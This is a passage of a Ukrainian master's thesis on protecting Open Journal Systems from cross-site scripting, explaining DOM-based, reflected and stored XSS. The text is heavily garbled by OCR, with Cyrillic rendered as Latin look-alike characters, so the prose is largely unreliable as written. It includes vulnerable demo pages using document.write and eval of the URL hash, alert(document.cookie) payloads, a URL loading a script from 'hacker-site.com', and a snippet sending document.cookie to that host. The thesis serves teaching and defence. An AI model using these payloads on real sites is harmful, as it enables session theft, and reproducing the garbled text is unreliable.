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[TosicHOBaJIbHA 3amuMcKa 0 KBajidikarmiiiHoi podotu «Mojens 3axucTy Bijg XSS
aTak»: 84 ctopinku, 89 pucyHkiB. 50 niTeparypHUX IKepel.

Memoro pobomu € po3poOka mozeni 3axucty Big XSS atak qist OJS.

Jlyis nocSATHEHHS METH HEO0OX1THO BUKOHATH TaKi 3aBJIaHHS:

® JIOCIITUTH TIPOOIEMATHKY 3aXUCTy BeO1oaaTKiB Big XSS aTak;

® TIpoaHaNi3yBaTH HAsBHI MOJAENI 3aXUCTy BiJ XSS aTak;

e po3pobuTu Momens 3axucty OJS cucremu Big XSS atak.

06 ’ekmom docniodxiceHHs € IPOLIEC 3aXUCTy BeOM0aaTKIB BiJ XSS aTak.

[Mpenmerom mocnimkenns € OJS cuctema, sika MiCTUTBH Bpa3auBoOCTI XSS.

Y poboTi mOoCHiKEHO METOomu 3axucTy BeOmomatkiB Bim XSS atak. [IpoBemeno
anamiz Open Journal System na HasBHiCTH XSS BpasaMBOCTEH. 3amporOHOBAHO Ta
noOynoBano mojenb 3axucty OJS Bix 3Haiimennx XSS BpasmuBocrteil. PospoGrieno
MPaKTUYHY peaizailiio MPOIOHOBAHOI MOJIEN1 3aXUCTY.

[TpakTHyHOO MIHHICTIO TaHOT poOOTH € po3poOka moxeni 3axucty OJS Bin XSS arak.

Pe3ynpTaT 3A1HCHEHUX Yy JUIUIOMHIA poOOTI JOCHIIKEHb MOXYThb OyTH
BUKOPUCTaHI JjIs 3a0€3MeUeHHs 3aXUCTy BeO01aTKIB Bij XSS arak.

HayxoBa HOBH3HaA: BusiBIeHHS HOBHX XSS BpasznuBocTeil B OJS Ta sk Hacmigok
YIOCKOHAJIGHHS MOJICITi 3aXHUCTY Bij XSS arak.

Memoou docnioxcenns: aHami3 Ta CUHTE3.

KirouoBi cjoBa: BpasziumBocTi, BeOmomarok, BeOcait, XSS, OJS, Open Journal

System, 6e3neka BeO0/1aTKIB.
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BCTYII

KinpkicTe BeOmomaTkiB 3poctae moaHsa. 3a manumu 2019 poky, 6im3bk0o 4 MIIp/I.
JOJed MO BCbOMY CBITY KOPHUCTYETbCS 1HTEpHETOM ImoAHs. Ll BUKOpUCTaHHS
BeOI0AATKIB MOXKYTh OyTH Pi3HI, HANpHUKIAJ, oIulaTa MOCIYT, MEpPerisa KiHO(IIbMIB,
CHUIKYBAaHHS 3 JPY3SMH, MOKYIKHA B 1HTEpHET-Mara3uHax. | xKokHa BeOCTOpiHKa MOKe
HECTH B co01 MPUXOBaHY 3arpo3y, sIKy He 3MOXe PO3MI3HATH 3BUYAHA JIOMHA, KOTpa HE
3aiiMaeThcs KibepOesmekoro. Peamizariisi 3arposu, moB’s3aHoOi i3 BeOgomaTKaMHU, MOXKE
MPU3BECTH 10 BUKPAJAEHHS YW 3MIHM 1H(OpMalli, BHACIIJIOK YOro, KommaHis abo
3BHYAMHUN KOPUCTYBa4 MOKE TIOHECTH (hiHAHCOBI Ta/abo pemyTariiiHi 30uTkH [1].

[IloaHst HAAXOAATH TUCSAY1 MOBIAOMIICHB PO KiOepaTaku Ha MPOBiAHI BEOAOIATKH, 1
3a3BUYail XaKepaMm HEBAXKKO MPOHUKHYTH y BEOJOJATOK, TOMY IO BiH MICTHUTh YHUMAJO
BpaznuBocTed. HalioueBUIHIIMM HUIAXOM JUIS 3aXUCTY BEOJIOJATKIB € HacaMIepen
Oe3reyHa po3poOKa, 0€3 BUKOPHCTAHHS MOTEHILIMHO HEOE3MEUYHMX KOHCTPYKUIA y KOl
BeOaonarky. I[Ipore noTpuMyBaTHCh O€3MEYHOI PO3POOKM HAbAaraTo Baku€ Ha MPaKTHUII,
HIXK B T€OPli, OCKUIbKM 3a3BUYail BEOCAUTH PO3POOISIOTHCA qyKE IMIBUAKO, 1 PO3POOHUKU
HE 3aBX]IU MPUAUIAIOTH 0arato yacy Ha 3a0e3neueHHs 0esnexu goaatky. OkpiM Toro, 1moo
BIIPOBAJUTH O€3Me4yHy po3poOKy, NOTPIOHO CTBOPUTH CIIEIIalli30BaHy KOMaHIy 3
BHCOKOKBaTI(hiKOBAaHUX CICLIATICTIB, HA 110, 3a3BWYal, B HEBEJIMKUX KOMITAHISIX HEMae
Oromkety. HaBiTh HEBEIMKUM KOMIMAHISIM, SIKI HE MOXXYTh BIPOBAIUTH MOBHUN 3aXUCT
Be0J10/1aTKy, NOTPIOHO BU3HAYUTH, SIKI ICHYIOTh PU3MKH, 1 Ha 110 HalOlIbIIe Mae OyTU
HaLJIEHUH 3aXuCT. | micias BU3HAYEHHS MOTEHUIMHO BPA3JIMBUX MICLb Ha CalTi, HOTPIOHO
BITPOBAIMTH 3aXUCT Xo4a O ais Hux [1].

KibepaTaku He 3aBXAM BIUIMBAIOTh CaM€ HA BJIIACHHUKIB BEOJOAATKY, BOHH MOXYTb
BIUTMBATH 1 HAa KOPUCTYBadyiB, sIKi BiJBIAYIOTH BeOmomarok. Jleski XSS araku MOXyTh
npu3BoAuTH 10 [1]:

® TICpCHAIPABJICHHA KOPHUCTyBadya Ha CaWT 3JI0BMHUCHMKA TpPH HATHUCKaHHI Ha
MOCWJIAHHS B B€OI0JATKY;

e CIpUYMHEHHS 30010 B Opay3epi KOPUCTYyBaya;
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® BUKpaJeHHs KOH(DIICHIINHUX JaHUX KOPUCTYBada, BKIIOYA0UYH J1aHi mpo Cookie-
CECIIO;

® BUKOPHCTOBYIOYM BUKpPAJCHI JIaHi, 3TOBMHUCHUKH MOXYTh 3aiTH Ha BEeOJ0JATOK
miJ I1HIIUM KOPUCTyBayeM Ta BHUKpacTH Ie Ouaplie KoHdiAeHiHoT 1H(popMmarii
KOPHCTYBaya, SIka MiCTUTHCS, HAPUKJIIA/, B aKayHT1 KOPUCTyBaya B BeOIOAATKY;

® BUKOPHCTOBYIOUM BHUKPAJCHI JaHi, 3JIOBMUCHUKH MOXYTh CTBOPIOBATH HOBI
aKayHTH Ha pi3HUX BeOcaiTax.

Memorw pobomu € po3pobka mozeni 3axucty Big XSS atak qist OJS.

06 ’exmom docniodcenHs € IPOIIEC 3aXUCTy BeO10AaTKIB Bijl XSS aTak.

[Tpeamerom nocnimxenns € OJS cucrema, sika MICTUTh Bpa3nuBOCTI XSS.

[TpakTHyHOTO MIHHICTIO TaHO1 poOOTH € po3pobOka Moaemi 3axucty OJS Bix XSS arak.

HaykoBa HOBHM3Ha moiiirae B BUsiBlieHHI HOBUX XSS BpaznuBoctedt B OJS Ta sk
HACJIIOK YIOCKOHAJICHHI MOJIeT 3aXuCTy Big XSS aTak.

Memoou docnioxceHHs. aHal3 Ta CHHTES.
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PO3JILI 1

AHAJII3 MTPOBJIEMATHUKHA 3AXUCTY BIJ XSS ATAK

1.1 AKTyaJbHiCTh TEMH J0CTiKEHHS

KibGeparaka — 1e cnpoba xakepa BUKOPUCTATH HasBHY BPa3IUBICTh B CHCTEMI Ha
CBOIO KOpHUCTh. T0OOTO Xakep MOKe MpoaHaIi3yBaTu IIJIbOBY CUCTEMY, BUSABUTH BPA3JIUBY
YacTMHY KOAY, Ta 3a JIONOMOIOI0 HAasBHUX 3JIOBMHUCHUX 3aco0iB Ta METO/IB,
HECAHKIIIOHOBAHO OTPUMATH JOCTYII 10 CUCTEMH, BUKPACTH Y1 MOJU(IKyBaTH aaHi [2].

IcHye uyumano pi3HHMX Bpas3nuBocTel B BeOmoparkax. Cepeln HHMX € Taki, IO HE
MPU3BOJATH JI0 CEPHO3HUX HACHTIIKIB. AJle ICHYIOTb 1 TaKl BPa3JIUBOCTI, SIKI MOXKYTb 3aBJAaTH
CYTTEBOI IIKOJU, SKIIO HUMH CKOPUCTAETHCS 37I0BMUCHHUK. J[0 111€1 KaTeropii BIIHOCUTHCS
XSS [3].

XSS — € onHI€0 3 HAMMOMMPEHIMX Bpa3IuBOCTeW BeOmomarkiB. Hebesmeka miel
BPa3JIMBOCTI € B TOMY, 1110 3TOBMUCHUK MO€ OTPUMATH JOCTYM JI0 aKayHTa KOPUCTyBaya,
BUKPACTH 4M MOAM(IKYBaTH KOH(DIAEHIIIHI aHl, Takl SK Hapoji, HOMEpH OaHKIBCHKHUX
paxyHkiB Ta iHme. OcoOnuBICTIO peami3allii aTaku € Te, M0 YacTO KOPHUCTyBaul Ta
PO3pOOHHUKHU BEOOIATKIB MOXKYTh HE TIOMITUTH, III0 1X aTaKyIOTh, OCKIIbKH [3]:

® SKIIO BIJICYTHS BajiJallisi OB BEOIOJATKY, TO 3JIOBMUCHUK MOXE 3aBaHTAXKUTH
LIKIJIJIMBUAN KOJI, SIKUW BUKOHAE MOTPiOHI 11T 1 BUBeAe 1HPOpMAILlito, ika HEOOX1/IHa XaKepy,
P IIbOMY HIXTO 1HIIMHI He OyJie 3HATH, 10 TaKa aTaka BiJI0yJIach;

e arTaka BIJOYBAa€ThCS Ha KIIEHTCHKIA CTOPOHI, sIKa HE 3aBXKIU 3aXHUILIEHA, TOMY
WMOBIPHICTh YCHIIITHOTO BUKOHAHHS aTaku OlIbINa, 1 OCKUIBKU JaHl BUBEIYTHCS JIMIIIEC HA
KJIIEHTCHKIN CTOpOHI 1 He OyayTh 3amucaHi/iepe/aHi Ha CcepBep, TO IISI aTaka MOXKeE
3aJIMIIATHCH HEITOMIYEHOIO;

® 3JIOBMHUCHHKH MOXYTh 3alporpaMyBaTH €KCIUIONT TaKUM YHWHOM, IO BIiH
BUKOHAETHCS JIMIIE 33 MEBHUX YMOB, TOOTO 0 KOHKPETHOTO MOMEHTY HIXTO MOXE 1 HE

3amiJ03pUTH HASIBHICTh 3JJOBMUCHOTO KOAY B B€0JI01aTKY.
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XSS — 1e pi3HOBH[ aTak, MiJl 9ac SKUX 3JIOBMUCHUK 3aIMCY€ IIKIIJIUBUN KO B

BeOmomatok. Ili araku HamiieHI Ha KOPHUCTYBayiB, SKi BIABIAYIOTh BEOIOJATKH.

Bpaznuicte XSS Moke BHUHHMKHYTH, SKIIO BJIACHHUKA a00 pO3pOOHUKH BeOCAMTIB

HAJIC)KHUM YHHOM HE TMEpEBIPSIOTh KOHTEHT, SKWW HaJCHIAIOTh KOPHUCTYBayl, SKi

3amoBHIOIOTH (opMu Ha caiti. Hampukian, e moxe Oytu ¢opma KoMeHTapiB, popma

BXOAy a00 peecTparlii, MOIIyK M0 calTy. SIKIO JaHi KOPUCTYBadiB HE OyAYTh IMIPOXOIUTH

BaJIiIaIlif0, TO PU3HK peai3allii i€l aTaku 30UIbITyeThCS B pasu [4].

XSS BXOAUTH 10 AECATKH HAUOLIBII cepiio3HUX MTpobieM Oe3neku Jijisd BeO101aTKiB.

HatiGins1me 1151 mpobiema TypOye oprasizaiiii, B SKHX KOMYHIKaIlii Ta B3aEMO/II1 3 KITIEHTaMH

B110yBatOThCs uepe3 BeOcaitu [4].

1.2. BuznauenHs Tta kiaacugikaunisa XSS arak

XSS — ne Bpa3nuBICTh BEOJONATKIB, sSKa J03BOJISE XaKepaM BHKOHYBAaTH iX

3JIOBMHUCHHUI KOJI B Opay3epax KOPHCTYBauiB, HaJ SIKUNMH Ma€ KOHTPOJIb Xakep, SKUN

BHUKOHYE 3JIOBMHUCHI [iii. Pe3yibTaToM BUKOHAHHS 3I0BMHCHOTO KOy MOxe OyTtu [3,5]:

OTPHUMAaHHS KOHTPOJIIO HaJ Opay3epoM KOPUCTyBava,
BHBEJICHHS JJaHUX MPO COOKie-cecito KopucTyBauya,;
Moau(ikalis KoH)IACHIIIHHNX JaHUX;
NepeHanpaBlIeHHsS] KOpUCTyBaya Ha HEOE3MECUHUM CalT;
BUKOPHCTaHHS KOH(IICHIIINHUX JaHUX KOPUCTyBaya,

BUKPAJICHHS KOHPIAECHIINHUX TaHUX.

XSS-araka 3a3Bruail BijIOyBa€eThCs 3 BUKOPUCTAHHIM JavaScript, ocKiIbKM 3a3BHYait

JUTSL PO3POOKU CaMTy 1 JJIS B3a€EMOJIIi 3 KOJIOM BEOCTOPIHKH BUKOPHUCTOBYETHCS I MOBa

IporpaMmyBaHHA [5].

XSS-araku po3aiisaoTh Ha Taki Buau [6]:

ataku Ha ocHoBi DOM (Document Object Model);
BIJIOOpaXKeH1 aTaku;

30€epeKeH1 aTakH.
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Ataku Ha ocHOBI DOM BUKOPHCTOBYIOTH MOXKJIMBOCTI B3a€MOJAIl 3 0O0'€KTHOIO
MOJIEJUTIO TOKYMEHTa JJIsl BIUIMBY Ha BMICT CTOPIHKH MICIIA 3aBaHTakeHHsS. BimoOpaxeHi
aTaku CHpSIMOBaHI Ha BBENEHHS 3JIOBMHUCHOTO KOy, SKHH BHUKOHYETBHCS BIapasy MpH
B1I00pa)KeHHI CTOPIHKHU. 30€pEKEHI aTaKu, HABITAKHU, BCTABJISIOTH IIKIIJIMBUN KO Y BX1/IHI
JlaH1, SIK1 TOTIM 30epiraroThCsl Ha cepBepl 1 BINIMBAIOTh HA KOPUCTYBAUiB, SIKi OTPUMYIOTh
J0CTYM A0 HMX JaHuX. OLIHIOI0YHN IXHIO HEOe3NeKy, MOXKHa CTBEP/XKYBATH, 1110 aTaku Ha
ocHoBl DOM Ta BimoOpaskeH1 aTaku MOXKYTh CHIPUYMHHUTH IIKOTY B PEAIbHOMY Yaci, TO1
K 30epexeHi aTaku MaloTh MOTEHIlial JJisl TPUBAJIOTO BIUIMBY Ha OE3IMEKY CHCTEMH, IO

poOUTH IX OLTBIT HEOE3MEUHUMU B JIOBIOCTPOKOBIM IepcriekTuBi [4].

1.2.1 Ataku Ha ocHoBi DOM

DOM — 1ie APl giss HTML ta XML nokymeHTiB, sike BU3HA4Ya€ JOTIYHY CTPYKTYPY
BEOCTOPIHKHU. 3aBIAKHU MOJITYy BEOCTOPIHKM Ha IMEBHI 00’€KTH, IUMU 00’ €KTaMH MO>KHA
MaHimymoBatd. Hanpukiam, 3a OMOMOroH MOBH IporpamyBaHHs JavaScript mosxkHa
3HaWTH 00’€KT TOIIyKOBOro psaka Ha caiti (document.querySelector(‘.search’)) Ta
MIOCTaBUTU OOPOOHMK MOJIM BBOAY JAaHUX B MOLIYKOBUU psAgoK. OOpOOHUK MOl MOKeE
BKJIIOUATH BATIJAIIO JTAHUX, SKi BBOISATHCSA B TOJIE, IO MOXE JOTIOMOTTH YHUKHYTH
BHUKOHAHHS 3JI0OBMHCHOTO KOy, IKHi 3TOBMHUCHHUK MOKE BCTABUTH B IOJIE TOMIYKY [7].

HTML DOM (puc. 1.1) — 1ie aepeBo 00’€KTIiB, SIKE BKJIKOYAE OCHOBHHMA 00’ €KT
(Document), kopeneBwii enemeHT (<html> </html>), ocHoBHi enemeHTH, 0€3 SKHX
BeOcTOpiHKa He Moxe icHyBatu (<head></head>, <body></body>), Ta Bci iX BHyTpimIHi
eJIeMeHTH [8].

[IIo6 otpumatu moctym go 1ux enemeHtiB DOM-nmepeBa 1 mpoBectu HEoOXimHI
MaHINyJIAIii 3 HAIMH, MOTPiOHO 3HAWTH iX 3a JonomMororo [8]:

e id — inentudikarop enemenTa (Hanpukiad, <div id="element”’></div>);

e class — im’s kiacy enemenTa (Hanpukian, <div class="element”></div>);

e tag — Ha3Ba Tery enemMeHTa (iCHY€e YUMaIo TeriB, Hanmpukiaaa, <head>, <p>, <ul>Ta

1HII11);
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e Css selector — cenexTop, sIKUiT MOXKE BKITIOYATH HA3BY TETY, IICHTU(IKATOP YK Kiac

eJIeMeHTY (HampuKIiIan, p > #element).

DOCUMENT

<HTML>

<HEAD> <BODY>

<H1> <SECTION> <TITLE>

3AI0/TOBOK

Pucynoxk 1.1 - HTML DOM

[I{o6 oTpumartu eyneMeHT i3 igeHTUdikaTopoM dragon, HeoOXiJHO HamucaTH Ha
JavaScript kox:

e document.getElementByld("dragon™);

abo

e document.querySelector(‘#dragon’).

[I{o06 oTpuMaTH eneMeHT i3 Ki1acom dragon, moTpiOHO HanucaT Ha JavaScript Takui
KO

e document.getElementsByClassName(*'dragon");

e a0o document.querySelector(‘.dragon’).

XSS araka Ha ocHoBi DOM (puc. 1.2) BUKOHYETBCS BHKIIOYHO B Opay3sepi
KopuctyBada. JlaHi, mpo Te, mo OyB BUKOHAHHI 3JIOBMUCHHM KOJI, HE MEPEAAIOThCI Ha
cepBep, 1 araka He Moke Oyt BusiBjiecHa WAF (Opanamayep BeOaoaaTkis) [9].

3a 101moMOroro 1€l Bpa3JIMBOCTI, 3TOBMUCHUK MOKe 3poOuTH HacTymHe [9]:

® 3MIHHUTHU CTPYKTYpY CTOpiHKH caiTy (nomatu DOM-enement, nogatu kox);
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e BUKpacTu COOKie maHi KopHcTyBada, 3a JOMOMOTOIO SIKUX 3JIOBMUCHHK MOXE
BUKOPHUCTATH OOJIIKOBUH 3aITUC KOPUCTYBaya 1 BUKOHYBATHU i1 MiJ HOTO aKayHTOM;
® MOXeE J0JaTH KojA, SKuK Oyne 34uTyBaTH BCl HATUCKAaHHS Ha KiaBiaTypi

KOpHUCTYBaua.

XSS DOM

QiWmnHr Cross-site scripting

Pucynox 1.2 — Knacuuna araka XSS DOM

BpaznuBum Moke OyTu Takuii BeOJOJATOK, B KOl SIKOTO BUKOPHUCTOBYETHCS
document.location abo document.URL a6o document.referrer. Ile ¢ynxkiii Javascript, 3a
JOTIOMOTOI0 SIKUX MO>KHa BUKOHYBaTu MaHimyJsuii 13 URL ctopinku caiity. OkpiM 116010,
0COOJIMBO HEOE3MEYHUMHU MOXKYTh OYTH TaKoX (PYHKII, sIK1 3aITUCYIOTh B KOJ| CTOPIHKHU
HTML po3mitky, ©0€3 mnepeBipkd KOHTEHTY camoi po3MiTku (document.write,
document.block.innerHTML), sxi momudikyrore crpykrypy HTML (document.create),
samiasitorh URL  cTopinkm abo BigkpuBaroTh iHIIy CTOpiHKY (document.location,
document.location.replace, window.location.href), siki BUKOHYIOTh CKpUTITH Yepe3 SIKUICH
gac (eval, window.setInterval, window.setTimeout) [11].

Posrnsmemo mpuxman peamsarii XSS araku Ha ocHoBi DOM. Hanpuxnanm, €

BeOcTopinka, B URL skoi mepemaeThcsi iM’st KOpPHUCTyBaua, B HAIIOMY HPHUKJIaAl 1€
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napameTpu «?name=Tetiana», To0TO MoBHE MocwiianHs Oyae dom-xss.html?name=Tetiana,
ne dom-xss.html e Ha3zBa BeOcTOpiHKM. B KOJIi CTOPIHKYM € CKPHIIT, SIKUI 3UUTY€ 3HAUCHHS

napameTpa Name 3 MOCUJIaHHS CTOPIHKH 1 BCTABIISIE€ B KOJI CTOPIHKU. BMiCT KOy :

<div class="congratulation">
<div class="congratulation-name">
<script>
let positionOfName = document.URL.indexOf(""name=") + 5;
document.write(document.URL.substring(positionOfName,document. URL.length));
</script>
</div>
<div class="congratulation-text">
, JIACKABO MTPOCUMO JI0 HAIIIOTO CauTy!
</div>

</div>

ITpu BukoHanHi 3anmuty dom-xss.html?name=Tetiana, Ha CTOPIHII BUBOIUTHCS 1M’ A
p y ) p1HII )il

Tetiana ta TekcT 3 Koy caiiry (puc. 1.3)

Tetiana, nackaBo mpocMmo A0 Haworo canTy!

Pucynox 1.3 — Pe3ynbTaT BUKOHAHHS CKPUIITA
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TakuM YMHOM, OCKIJIbKU BUKOHYETHCS (yHKIIIsE document.write(), 1 HE TepeBIPSIETHCS
3MICT mapaMmerpa Name, TO 3TOBMUCHHUK MOXE 3alUcaTi B mapaMeTp Name CKpUIIT, SIKUN
BUKOHAETHCSI, KOJIM KOPUCTYBAY IMepeiiie 3a MM nmocwianHsM. Hanpukinan, e moxe OyTu
nocwianHs dom-xss.html?name=<script>alert(document.cookie)</script>. Ane ns artaka
MOe BI1JIOYTHCH JiuIe B Opay3epax, skl He KOJAyIoTh CUMBOJU < >. B iHmmx Opaysepax

B1IOYACThCS TaKa CUTYyaIllis, BUBEJEThCS BCE, 110 B MapaMeTpi Name juiine TeKCToM (puc.
1.4)

%3Cscript%3Ealert(document.cookie)%3C/script%3E, nackaBo npocumo [0 Haworo caunTy!

Pucynok 1.4 — Ataka He crpaioBajia B Opay3epax, aK1 KOIyIOTbh CAMBOIN < >

IcHye BapiaHT, KM MOXKe 0OIMTH KOTyBaHHS CUMBOJIB < >, 1 MOXKE BUKOHATH KO/

HaBiTh Oe3 TeriB SCript. [Ipuknan ckpunTa:

<div class="congratulation">
<div class="congratulation-name">
<script>
let URLContent = location.hash.slice(1);
eval(URLContent);
</script>
</div>

</div>
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Sxmo mepeiiTu 3a mocuanHsaM dom-xss.html#alert(document.cookie), To 6pay3ep He

Oyze BBaXkaTu, 1110 BCE, 1110 MICJII CUMBOITY # 1€ CKpUIIT, TOMY Hi4Oro He Oy/ie KOAyBaTuCh,
i 3aBasaku koManzi eval() rekcr alert(document.cookie) BUKOHA€EThCS SIK KOMaH/Ia, 1 BUBEJIE

cookie kopuctyBaua (puc. 1.5).

@ 127.0.0.1:5500/dom-xss.html#alert(document.cookie)

MoeigomnenHs 3 127.0.0.1:5500
localauth=localapi488a7fSeffbcs:;
_ga=GA1.1.2ef76f280764ed11ad32b48c9dd3226¢;
_ga_Z28525QR15=G51.1.1695976643.2.1.1695978764.0.0.0

Pucynok 1.5 — Buenenns COokie kopructyBaua

B nmanomy Bumanky MokHa moOayuTd, mo Te, mo BBeaeHo B URL B skocTti
napaMeTpiB/Koy, KM ITOTIM BUKOHYEThCS yepe3 JavaScript, He 30epiraeTbecs Ha cepBepi,
TOMY TIPOTpaMICTH HE 3MOXYTh MOOAUMTH, IO Taka aTaka BigOynach. lle ocHoBHa
BIAMIHHICTH 1i€i aTaku Big BimoOpaskenoi XSS ta 30epeskenoi XSS [10]. Takox, ais Toro,
mo0 BUSBUTH Bpa3nuBicTh caiity Ao DOM XSS artaku, moTpiOHO 3HATH MOBY

nporpamyBaHHs JavaScript Ta BMiTH aHaIi3yBaTH KO/I, 1100 3HAWTH BPa3JIMBi YaCTHHHU KOJIY.

1.2.2 BinoOpa:xeHi aTraku

Bimoopaxeni araku XSS (Reflected XSS) — 1e araku, KOTpi BiOyBarOThCs, KOJIU
KopucHe HaBaHTakeHHs (payload), inkonu BoHO 00(dyckoBane, momaetbes 10 URL anpecwu.
I mpu kitiky kopuctyBaua Ha el URL BukoHyeThCs 3moBMuUCHMM Ko (puc.1.6) [12].

Hanpuxnan, pis toro, mo0 KopucTyBad HaTUCHYB Ha Takuii URL, ix 3a3Buuait
BCTaBJISAIOTH y €émail-muctu, abo B komeHTapi Ha hopymax. | sSKIo KopucTyBaya 3aiikaBHB
HaJnuc abo Tema MOBIIOMIICHHS, TO BiH 3a3BUYail He 3Baxkae Ha Ha3By URL 1 mepexoauth

3a IIUM mocuaanusM [13].
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[Ile ogHuM 13 MPUKIIAAIB TaKOi aTaKu € BUKOPUCTAHHSA MOJIIB BBOY Ha BeOcaiiTax, 1e
MoOske OyTH, HApUKIIad, rmoJie mouryky. [Ipu BBeAeHHI 37I0BMUCHOTO KOy B OJIE MOIIYKY,

SIKIIIO BBEJCHI JIaHl HEe MPOXOAATh BaJIiIallii0, TO 3JJOBMHUCHHUI KO MOKEe BUKOHATHUCH [14].

XepTBa BigBigye URL i
He Nomiuae Hivoro

HE3BUYHOIO

Z
N 3N10BMUCHUK Hagcunae URL 3 WKiANMBUM HaBaHTAXEHHAM

(&) —_

3M10BMUCHWA KO BMKOHYETbCSH B

6paysepi xepTBK o

Bpaysep HagCcUnae 310BMUCHNKY
KOHDIAEHUINHY iHthopMaLio
KepTeu

Pucynox 1.6 — Tunosa cxema Reflected XSS araku

31noBMUCHUKN MOXYTh BOynoByBatn y URL mocunanns Ha ckpunt 3 iX JOMEHY,
HATPHUKIIAT; http://social-network.com?search=test&test<\script%20src="http://hacker-
site.com/script.js”, me http://social-network.com — e mocuaaHHs, 32 SKHM IMEPEXOIUThH
kopuctyBay; test&test<\script%20src="http://hacker-site.com/script.js” — mapameTpu ms
noIyky Ha caiti; <\script%20src="http://hacker-site.com/script.js - mocuaHHs Ha CKPHIIT,
SIKMI MICTHTb 3JIOBMUCHHUH KOJI, Ha CaiTi 3J0BMUCHUKA [14].

PosrnsiHemo mpukinan miei araku. KopuctyBau orpumas Ha moty jmct (puc. 1.7),
KU MICTUTB LIIKaBy aKL1i0 Y1 3HWKKY HOTO yII00JIEHOr0 MarasuHy 1 HATUCHYB Ha KHOIIKY
“3amoBUTH TOBap”, 100 MEPETIISTHYTH 3HUKKH. AJie 3JIOBMUCHHUK 3pOOUB (DIIMHTOBUI CAlT
(puc. 1.8), sxuii cXOXHil Ha CaWT-OpUTIHAT I[BOTO IHTEPHET-MarasuHy, i JOIHUCAB
370BMUCHUH ko1 (puc. 1.9), skuii Oy/ie BUKOHYBAaTUCh, KOJIM KOPUCTYBAY 3aii/ic Ha CallT i3

BI/IMOBITHUM TTOCUJIAHHSM, HanpukJiIaj Oyjie BIIOyBaTHUCh MEPEXi]] Ha CAUT 13 mapameTpaMu


http://social-network.com/?search=test&test%3c/script%20src=
http://social-network.com/?search=test&test%3c/script%20src=
http://social-network.com/
file:///C:/Users/Tetiana/Downloads/Telegram%20Desktop/test&test%3c/script%20src=

20

cookie, B siki OyayThb 3amucyBaTHUCh cookie maHi KopucTyBaya. | 310BMUCHUK Oyze
BIJICTIITKOBYBAaTH KOXKEH IIeW Tepexin Ha HWoro caut, i Oyae 30upatu gaHi cookie BcCix
KOPUCTYBaYiB, SKi HaTUCHYJIM Ha HOTo MOCWIaHHSA. TakuM YMHOM 3JIOBMUCHHUK BHKpAaJae

naHi Ipo cookie ceaHC KOPHUCTyBaua, siKi MOYKE BUKOPUCTATH B CBOIX IIUIAX.

Jlorotun marasuHy

“_;;“\f— .

Pucynox 1.7 — JIuct 13 mocunaHHsAM Ha (QIIIMHTOBUI CallT

https://fishing-site.com

Pucynok 1.8 — OimmHroBuUil CaiT IHTEpHET-Mara3uHy
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window.addEventListener('load’, function(){
window.location = 'https://hacker-site.com?cookie="+document.cookie;

1)

Pucynox 1.9 — 3noBmucHuit kof, sxuit 0yae nepenaBatu cookie 1aHi KOPUCTYBaviB

1.2.3 30epe:xeni ataku

30epexeni XSS araku (Stored XSS) — e aTaku, i 9yac SIKAX 3JIOBMACHUK BBOJUTH
B mons ¢GopMH HaA CalTli 3JIOBMHCHUN KOJ/CKPHUNT, SIKMM IICJs BiAIpaBKu GopMHU
BIJINIPaBIISETHCS HA 30epiranHs B 6a3y maHux. ToOTO 3 MOMEHTY 3allOBHEHHS JaHUX, SKITO
JaHl He MTPOXO/IAThH BaIiIAII0 1 (UIbTpaIlifo, TO BOHH IMOTPAILIAIOTE Ha cepBep (puc. 1.10).
Komnu BiiOyaeThCs 3anUT HAa OTPUMAHHS [IMX JIaHUX 1 BUBEJICHHS 1X Ha CalT, TO 3JI0BMHCHHIA
KOJI MOXKE 3aITyCTUTHUCH, AKIIO 3HOBY 5K TaKW, HEMA€ BaJiIallii JaHUX, sIKI BUBOASTHCS 3 0a3u
nanux [4].

2. 3N0BMUCHKNI KOL
36epiraeTbca Ha cepeepi

1. 3n0BMNCHNK BNPOBAXKYE
3N0BMUCHUI KOA B BE6-
[0AaToK

3. 3noBMUCHWI KOO
HaACMNAETLCA KOPUCTYBAYEBI,
KONU KOPUCTYBaY 3amuTye
NOTPi6HUN KOHTEHT

4

)

4, KOHGhineHUiHi aaHi
HaACNNAIOTBCA 3NOBMUCHUKY

Pucynok 1.10 — 3aransHa cxema Stored XSS ataku

[le#t By aTaku Biapi3HIETHCS Bl BimoOpaxenux XSS atak TuM, 110 BILUTUBAE HA BCIX

KOpI/ICTy'Ba‘IiB, a HC JIMIIC Ha THUX, XTO HATUCHYB Ha IIOCHJIAHHA 13 3JJOBMHCHHUM KOJOM.
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Hanpuxknan, konu kopucTyBau Oyae meperisiiaTd mocTa 'y (Gopymi, TO 3TOBMHUCHUN KOJ
3aITyCTUTHCS 1 MOKE BUKPACTH KOH(IISHITIIHI AaHi IIbOTO KOpUCTyBaya [4].

BpaznuBumu 110 1i€i araku € GopyMu, cailTu, B sSIKUX B (JOpPMU KOMEHTApiB MOXKHA
3amoBHIOBaTH KOoMeHTap y Burimsaai HTML-komy. SAxkmo HTML xox, sikmii 3amoBHUB
KOPHUCTYBa4, HE MEPEBIPSAETHCSA HA HASBHICTH 3JIOBMUCHOTO KOJy, TO KOXKE€H KOPUCTYyBad,
SKUW TIEpEHIIoOB Ha CTOPIHKY, SIKa MICTUTh BCl KOMEHTapi/mocTu (GopyMy, MOxke OyTH
aTaKkoBaHMH [6].

Posrisitnemo mpukiaa. 3TOBMUCHUK 3aXOAUTh Ha CallT, SKUM MICTUTH (GopMy
koMeHTapiB (puc. 1.11). 3amoBHIOE mone iMeHi Ta mojie komeHTaps (puc. 1.12). ITome
KOMEHTapsi MICTUTh KOJ, KM BHBOJIUTH COOKie kopucryBaya. Ilicas 1poro, KoMmeHTap
30epiraeTbcs B 06a31 JaHWX Ta BUBOJUTHCS HA CTOPIHIN, pa3oM 13 THIIMMHU KOMEHTapsSMU
(puc. 1.13). 1 xoxeH pa3, KOJIM KOPUCTyBad Oyje 3aXOAWTH Ha CTOPIHKY 3 yciMma
KOMEHTapsiMU, TO Oyjie BUKOHYBATUCh CKPHIIT, SIKM BUBOJIUTH cOoOKie KopucTyBada (puc.
1.14). B uiii cutyariii CKpUNT JIMIIC BUBOJAWUTH JaHI HA CTOPIHII, ajie 3TOBMUCHUK MOYXKE
YCKJIaIHUTH CKPUIIT, 11100 yC1 OTpUMaHi JaH1 KOpUCTyBaya MepeaaBaluch Ha HOTo CepBep.
TakuM YMHOM 3JIOBMUCHHMK MOK€ BHUKpAacTH OOJIIKOBI JlaHI BCIX KOPUCTYBadyiB, 1 Hajaall

BUKOPHUCTATH iX Y CBOIX IIUISX.

3anauwTe CBO1 KOMeHTapi

Bawe im'sA

Baw KoMmeHTap

HAOICNATH

